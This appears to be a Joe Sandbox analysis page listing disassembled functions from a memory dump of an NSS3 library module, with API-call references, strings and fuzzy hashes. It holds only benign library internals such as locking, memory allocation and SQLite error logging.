Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 229d26b01f5bdcf805eb28180abe385cc9af7fcea41e8e3ffed80a7168cdfa3e
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 3311EB71E001559BFB149B659C01F6B37ACDF81258F140064ED09D7740EB31DD09C7A1

Function 6C623C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C625B40: PR_GetIdentitiesLayer.NSS3 ref: 6C625B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C623D3F

Part of subcall function 6C59BA90: PORT_NewArena_Util.NSS3(00000800,6C623CAF,?), ref: 6C59BABF
Part of subcall function 6C59BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C623CAF,?), ref: 6C59BAD5
Part of subcall function 6C59BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C623CAF,?), ref: 6C59BB08
Part of subcall function 6C59BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C623CAF,?), ref: 6C59BB1A
Part of subcall function 6C59BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C623CAF,?), ref: 6C59BB3B

PR_EnterMonitor.NSS3(?), ref: 6C623CCB

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

PR_EnterMonitor.NSS3(?), ref: 6C623CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C623CF8
PR_ExitMonitor.NSS3(?), ref: 6C623D15
PR_ExitMonitor.NSS3(?), ref: 6C623D2E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: a7872d1b0a0c58fae9b5a47230ebbafd546adf88545dfe27f780afbd0225777c
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: D0112BB56106006FE7205E65EC4179BB3E8EF5230CF500938E51A87B20E736F829CE5E

Function 6C5EFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C5EFE08

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C5EFE1D

Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C5EFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C5EFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C5EFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C5EFE6F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 7d7bcc0d2254d93e0f926aa882743322c468f62520830ac33c6fd51f17be1be0
Instruction ID: bcd7614bf91d19bb91b004def6e05ae3aa6d75d448e0c75de9467fca6626353a
Opcode Fuzzy Hash: 7d7bcc0d2254d93e0f926aa882743322c468f62520830ac33c6fd51f17be1be0
Instruction Fuzzy Hash: 7811E5B7600201ABEB008B55EC40A5B73D8AF9C299F148234E92D97B52EB31EA14CB91

Function 6C69FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C69FD9E

Part of subcall function 6C659BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C581A48), ref: 6C659BB3
Part of subcall function 6C659BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C581A48), ref: 6C659BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C69FDB9

Part of subcall function 6C57A900: TlsGetValue.KERNEL32(00000000,?,6C6F14E4,?,6C514DD9), ref: 6C57A90F
Part of subcall function 6C57A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C57A94F

PR_Unlock.NSS3 ref: 6C69FDD4
PR_Lock.NSS3 ref: 6C69FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C69FE0D
PR_Unlock.NSS3 ref: 6C69FE23

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: bfc1a0bd633b9f151a174f7a99e902e122f15cc2132b657fef7383e06520670b
Instruction ID: 68abc4273383e4202b107ac3e874fc8e21a7d9b2a69eb56e5d4e631ff5182563
Opcode Fuzzy Hash: bfc1a0bd633b9f151a174f7a99e902e122f15cc2132b657fef7383e06520670b
Instruction Fuzzy Hash: 7601A5F6A00101ABDF058F16FC008417772BF4226CB154374E83547BE1E722DD29C78A

Function 6C57AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C57AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C57AF5C
%s at line %d of [%.10s], xrefs: 6C57AFD3
misuse, xrefs: 6C57AFCE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: a6670b764aa90bb7d8dc736758129c656a036cddb5aa86e9b449a89e4f34f43f
Instruction ID: 81ccc24e88785b0b1bbfe7fc5557e13eb92fe7753b6534ca3eb619d10c05cb12
Opcode Fuzzy Hash: a6670b764aa90bb7d8dc736758129c656a036cddb5aa86e9b449a89e4f34f43f
Instruction Fuzzy Hash: C491E0B5A002158FDB14CF59CC94AAEB7F1AF45314F1984A8E864ABB91C330EC41CB70

Function 6C5DFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C5DFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5DFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C5DFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C5DFDDE

Part of subcall function 6C5E8800: TlsGetValue.KERNEL32(?,6C5F085A,00000000,?,6C598369,?), ref: 6C5E8821
Part of subcall function 6C5E8800: TlsGetValue.KERNEL32(?,?,6C5F085A,00000000,?,6C598369,?), ref: 6C5E883D
Part of subcall function 6C5E8800: EnterCriticalSection.KERNEL32(?,?,?,6C5F085A,00000000,?,6C598369,?), ref: 6C5E8856
Part of subcall function 6C5E8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C5E8887
Part of subcall function 6C5E8800: PR_Unlock.NSS3(?,?,?,?,6C5F085A,00000000,?,6C598369,?), ref: 6C5E8899

Strings

pkcs11:, xrefs: 6C5DFC4F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: bd1b25a0f96340de48afd1e28fbccde627c28bca7070547fee737bfb319fd617
Instruction ID: da6e82741b4537cfa84c5c5ff734edaa96e934dd93c00f5740d02265df1cd08b
Opcode Fuzzy Hash: bd1b25a0f96340de48afd1e28fbccde627c28bca7070547fee737bfb319fd617
Instruction Fuzzy Hash: 2E5115B1A08351DBEB00AF2DEC40B5A3375AF8535CF160625DD085BB51EB30F914CB9A

Function 6C51BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C51BE02

Part of subcall function 6C649C40: memcmp.VCRUNTIME140(?,00000000,6C51C52B), ref: 6C649D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C51BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C51BE89
%s at line %d of [%.10s], xrefs: 6C51BE98
database corruption, xrefs: 6C51BE93

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 5aa4f622eff72b912bb691578ea6153305e8d060a32190734e6d9cd4b410b62e
Instruction ID: f7e8227b4262be1c0a4a0c8f3e790c75895126524ffd0eead072d2e889279885
Opcode Fuzzy Hash: 5aa4f622eff72b912bb691578ea6153305e8d060a32190734e6d9cd4b410b62e
Instruction Fuzzy Hash: DD3125B1B4C2558BDB00EF69CCD8AABBBA1AF45314B098A94EE545BF41D371EC04C7D1

Function 6C606DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C606E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C606E57

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C606E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C606EAA

Strings

njl, xrefs: 6C606DF9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: njl
API String ID: 3163584228-2050556502
Opcode ID: 539879973c6f58d92710a025d3dfc3f3b9ff0805da4e96337dc4b8af530e0b4e
Instruction ID: ce34cad15729cfe06bd68d17cdd3595ce22fc5ddab86aaa00c4bb1e3cdf8b961
Opcode Fuzzy Hash: 539879973c6f58d92710a025d3dfc3f3b9ff0805da4e96337dc4b8af530e0b4e
Instruction Fuzzy Hash: 0A31B471718712EADB181F34DE04396B7A5AB0231AF24063CDC5AE6A80E730E4D6CF99

Function 6C591EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C594C64,?,-00000004), ref: 6C591EE2

Part of subcall function 6C5F1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C591D97,?,?), ref: 6C5F1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C594C64,?,-00000004), ref: 6C591F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C594C64,?,-00000004), ref: 6C591F37
DER_DecodeTimeChoice_Util.NSS3(?,dLYl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C594C64,?,-00000004), ref: 6C591F53

Strings

dLYl, xrefs: 6C591F2B, 6C591F51

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLYl
API String ID: 3216063065-3288137858
Opcode ID: ee56841fbced311124f67abe6245bceb3006315ef66ffc5fdd82301ebbb1da53
Instruction ID: 8e0bb3fefaccd15c15725856f0592350393d41a2fe1190764323179d3d18cf3e
Opcode Fuzzy Hash: ee56841fbced311124f67abe6245bceb3006315ef66ffc5fdd82301ebbb1da53
Instruction Fuzzy Hash: EF21A4B150435AAFC700CF2ADD00A9BB7EDAB84799F000929E855C3B40F331E919CBE2

Function 6C580DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C580BDE), ref: 6C580DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C580BDE), ref: 6C580DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C580BDE), ref: 6C580DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C580BDE), ref: 6C580E32

Strings

%s incr => %d (find lib), xrefs: 6C580E2D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 4683af4687ab70acbd507bcdebba6fef78c8908826938c345b98d9e42f397c5d
Instruction ID: 50fb342b80c206a7a497a36a1125453720b2e8c3846f6066aa7637eba15dd0ba
Opcode Fuzzy Hash: 4683af4687ab70acbd507bcdebba6fef78c8908826938c345b98d9e42f397c5d
Instruction Fuzzy Hash: 1C012872B02220AFE7109F65DC85E1773ACDB86609B05482ED905D7641E762FC158AE5

Function 6C5C1CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C5C1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C5C1CF1

Part of subcall function 6C6A09D0: PR_Now.NSS3 ref: 6C6A0A22
Part of subcall function 6C6A09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C6A0A35
Part of subcall function 6C6A09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C6A0A66
Part of subcall function 6C6A09D0: PR_GetCurrentThread.NSS3 ref: 6C6A0A70
Part of subcall function 6C6A09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C6A0A9D
Part of subcall function 6C6A09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C6A0AC8
Part of subcall function 6C6A09D0: PR_vsmprintf.NSS3(?,?), ref: 6C6A0AE8
Part of subcall function 6C6A09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6A0B19
Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6A0B48
Part of subcall function 6C6A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6A0C76
Part of subcall function 6C6A09D0: PR_LogFlush.NSS3 ref: 6C6A0C7E

Strings

njl, xrefs: 6C5C1D09, 6C5C1D30
C_Initialize, xrefs: 6C5C1CD3
pInitArgs = 0x%p, xrefs: 6C5C1CEC

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$njl
API String ID: 1907330108-3090958535
Opcode ID: b629a37929d26b6ffc18bd7e92f63eb3151f338d2300a00744d2e276877175f7
Instruction ID: 9fce5458ad2a698ae2e9e387d6bf72f2cfb7ba2a1c4bfe244fa2b2263c7d8b3c
Opcode Fuzzy Hash: b629a37929d26b6ffc18bd7e92f63eb3151f338d2300a00744d2e276877175f7
Instruction Fuzzy Hash: BB017179301190DFDB00DBAAED88B5A37B6EBC2319F084429E519D7A11DB34D849CB9B

Function 6C63AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]bl,00000000,?,?,6C616AC6,?), ref: 6C63AC2D

Part of subcall function 6C5DADC0: TlsGetValue.KERNEL32(?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE10
Part of subcall function 6C5DADC0: EnterCriticalSection.KERNEL32(?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE24
Part of subcall function 6C5DADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C5BD079,00000000,00000001), ref: 6C5DAE5A
Part of subcall function 6C5DADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE6F
Part of subcall function 6C5DADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE7F
Part of subcall function 6C5DADC0: TlsGetValue.KERNEL32(?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAEB1
Part of subcall function 6C5DADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAEC9

PK11_FreeSymKey.NSS3(?,@]bl,00000000,?,?,6C616AC6,?), ref: 6C63AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]bl,00000000,?,?,6C616AC6,?), ref: 6C63AC59
free.MOZGLUE(8CB6FF01,6C616AC6,?,?,?,?,?,?,?,?,?,?,6C625D40,00000000,?,6C62AAD4), ref: 6C63AC62

Strings

@]bl, xrefs: 6C63AC05

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]bl
API String ID: 1595327144-3455786644
Opcode ID: 6d15acd67346dd70da78c758c657994837eb55dd301bb3eb5e28f3e1aed6c161
Instruction ID: 69d892247842712e78c7683c838205d65041b329b0d02ad2c552345140b019a4
Opcode Fuzzy Hash: 6d15acd67346dd70da78c758c657994837eb55dd301bb3eb5e28f3e1aed6c161
Instruction Fuzzy Hash: B70178B56002109BEF00DF59ECC0B5677A8AB88B18F188068E8498F706D731EC08CBA5

Function 6C529C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C529CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C529D45
EnterCriticalSection.KERNEL32(?), ref: 6C529D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C529DDE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
